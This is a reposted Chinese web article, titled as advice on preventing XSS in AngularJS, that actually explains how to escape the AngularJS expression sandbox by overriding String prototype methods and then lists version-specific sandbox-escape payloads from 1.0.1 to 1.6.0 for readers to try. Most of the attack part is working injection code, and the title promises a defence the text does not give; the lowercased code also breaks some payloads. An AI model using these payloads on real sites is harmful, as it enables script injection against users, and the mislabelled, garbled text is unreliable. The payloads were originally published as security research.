您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

AngularJs如何防止XSS攻击

2024/3/6 6:01:30发布17次查看
这次给大家带来angularjs如何防止xss攻击,angularjs防止xss攻击的注意事项有哪些,下面就是实战案例,一起来看一下。
概述
xss攻击是web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效xss攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如sql注入攻击服务器和数据库、click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
前情提要
angularjs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularjs会计计算并输出结果,我们可以在里面输入js代码,并且一些语句还能得到执行,这使得我们的xss有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。
沙箱检验
angularjs会对表达式进行重写,并过滤计算输出,比如我们输入
{{1 + 1}}
在js中会被转换成
use strict; var fn = function(s, l, a, i) {  return plus(1, 1); }; return fn;
return fn;这里的返回会被angualrjs执行,angularjs改写这个方法后转换是这样的
use strict; var fn = function(s, l, a, i) {  var v0, v1, v2, v3, v4 = l && ('constructor' in l),  v5;  if (!(v4)) {  if (s) {  v3 = s.constructor;  }  } else {  v3 = l.constructor;  }  ensuresafeobject(v3, text);  if (v3 != null) {  v2 = ensuresafeobject(v3.constructor, text);  } else {  v2 = undefined;  }  if (v2 != null) {  ensuresafefunction(v2, text);  v5 = 'alert\u00281\u0029';  ensuresafeobject(v3, text);  v1 = ensuresafeobject(v3.constructor(ensuresafeobject('alert\u00281\u0029', text)), text);  } else {  v1 = undefined;  }  if (v1 != null) {  ensuresafefunction(v1, text);  v0 = ensuresafeobject(v1(), text);  } else {  v0 = undefined;  }  return v0; }; return fn;
angularjs会检查每一个输入的参数,ensuresafeobject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularjs还有ensuresafememebername和ensuresafefunction来过滤掉方法原型链方法和检查这个指向。
如何逃逸
怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularjs不支持函数输入,我们不可以直接覆盖本地的js函数。但在字符串对象中找到了漏洞,fromcharcode,则charcode, charat,由于没有重写这些方法,通过改变本地的js函数,我可以在angularjs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。
'a'.constructor.fromcharcode=[].join; 'a'.constructor[0]='\u003ciframe onload=alert(/backdoored/)\u003e';
formcharcode方法执行的时候内部的this指向的是string对象,通过上面的可指执行语句,我们可以对fromcharcode 函数进行覆盖,当在本页面内执行时,比如:
onload=function(){ document.write(string.fromcharcode(97));//会弹出 /backdoored/  }
还可以这样
'a'.constructor.prototype.charcodeat=[].concat
当angularjs调用charcodeat函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeentities 方法用来对属性和名称做一个过滤然后输出,
if (validattrs[lkey] === true && (uriattrs[lkey] !== true || urivalidator(value, isimage))) { out(' '); out(key); out('='); out(encodeentities(value));//找的就是encodeentities    out(''); }
具体的encodeentities代码如下:
function encodeentities(value) { return value.  replace(/&/g, '&').  replace(surrogate_pair_regexp, function(value) {  var hi = value.charcodeat(0);  var low = value.charcodeat(1);  return '' + (((hi - 0xd800) * 0x400) + (low - 0xdc00) + 0x10000) + ';';  }).  replace(non_alphanumeric_regexp, function(value) {  return '' + value.charcodeat(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出  }). replace(/</g, '<'). replace(/>/g, '>'); }
具体执行
//这是输入代码  {{  'a'.constructor.prototype.charat=[].join;  $eval('x=')+'' }} //这是被覆盖影响的代码   use strict; var fn = function(s, l, a, i) {  var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的  if (!(v6)) {   if (s) {    v5 = s.x = ;//被影响的   }  } else {   v5 = l.x = ;//被影响的  }  return v5; }; fn.assign = function(s, v, l) {  var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的  v3 = v4 ? l : s;  if (!(v4)) {   if (s) {    v2 = s.x = ;//被影响的   }  } else {   v2 = l.x = ;//被影响的  }  if (v3 != null) {   v1 = v;   ensuresafeobject(v3.x = , text);//被影响的   v0 = v3.x =  = v1;//被影响的  }  return v0; }; return fn;
{{  'a'.constructor.prototype.charat=[].join;  $eval('x=alert(1)')+'' //注入了alert(1)  }} use strict; var fn = function(s, l, a, i) {  var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);  if (!(v6)) {   if (s) {    v5 = s.x = alert(1);   }  } else {   v5 = l.x = alert(1);  }  return v5; }; fn.assign = function(s, v, l) {  var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);  v3 = v4 ? l : s;  if (!(v4)) {   if (s) {    v2 = s.x = alert(1);   }  } else {   v2 = l.x = alert(1);  }  if (v3 != null) {   v1 = v;   ensuresafeobject(v3.x = alert(1), text);   v0 = v3.x = alert(1) = v1;  }  return v0; }; return fn;
下面附上一些代码,可以直接结合angularjs验证
不同版本的实现代码以及发现者:
1.0.1 - 1.1.5    mario heiderich (cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1     jan horn (google)
{{a='constructor';b={};a.sub.call.call(b[a].getownpropertydescriptor(b[a].getprototypeof(a.sub),a).value,0,'alert(1)')()}}
1.2.2 - 1.2.5    gareth heyes (portswigger)
{{'a'[{tostring:[].join,length:1,0:'proto'}].charat=''.valueof;$eval(x='+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+');}}
1.2.6 - 1.2.18    jan horn (google)
{{(_=''.sub).call.call({}[$='constructor'].getownpropertydescriptor(_.proto,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23    mathias karlsson
{{tostring.constructor.prototype.tostring=tostring.constructor.prototype.call;[a,alert(1)].sort(tostring.constructor);}}
1.2.24 - 1.2.29 gareth heyes (portswigger)
{{'a'.constructor.prototype.charat=''.valueof;$eval(x='\+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\');}}
1.3.0    gábor molnár (google)
{{!ready && (ready = true) && ( !call ? $$watchers[0].get(tostring.constructor.prototype) : (a = apply) && (apply = constructor) && (valueof = call) && (''+''.tostring( 'f = function.prototype;' + 'f.apply = f.a;' + 'delete f.a;' + 'delete f.valueof;' + 'alert(1);' )) );}}
1.3.1 - 1.3.2    gareth heyes (portswigger)
{{ {}[{tostring:[].join,length:1,0:'proto'}].assign=[].join; 'a'.constructor.prototype.charat=''.valueof;  $eval('x=alert(1)//');  }}
1.3.3 - 1.3.18    gareth heyes (portswigger)
{{{}[{tostring:[].join,length:1,0:'proto'}].assign=[].join; 'a'.constructor.prototype.charat=[].join; $eval('x=alert(1)//'); }}
1.3.19   gareth heyes (portswigger)
{{ 'a'[{tostring:false,valueof:[].join,length:1,0:'proto'}].charat=[].join;  $eval('x=alert(1)//');  }}
1.3.20    gareth heyes (portswigger)
{{'a'.constructor.prototype.charat=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9    gareth heyes (portswigger)
{{'a'.constructor.prototype.charat=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8  ian hickey
{{x = {'y':''.constructor.prototype}; x['y'].charat=[].join;$eval('x=alert(1)');}}
1.5.9 - 1.5.11   jan horn (google)
{{  c=''.sub.call;b=''.sub.bind;a=''.sub.apply;  c.$apply=$apply;c.$eval=b;op=$root.$$phase;  $root.$$phase=null;od=$root.$digest;$root.$digest=({}).tostring;  c=c.$apply(c);$root.$$phase=op;$root.$digest=od;  b=c(b,c,b);$evalasync(  astnode=pop();astnode.type='unaryexpression';  astnode.operator='(window.x?void0:(window.x=true,alert(1)))+';  astnode.argument={type:'identifier',name:'foo'};  );  m1=b($$asyncqueue.pop().expression,null,$root);  m2=b(c,null,m1);[].push.apply=m2;a=''.sub;  $eval('a(b.c)');[].push.apply=a; }}
= 1.6.0 mario heiderich(cure53)
{{constructor.constructor('alert(1)')()}}
相信看了本文案例你已经掌握了方法,更多精彩请关注其它相关文章!
推荐阅读:
jquery中使用for循环var与使用let有哪些区别
js调用模式与this关键字使用详解
以上就是angularjs如何防止xss攻击的详细内容。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product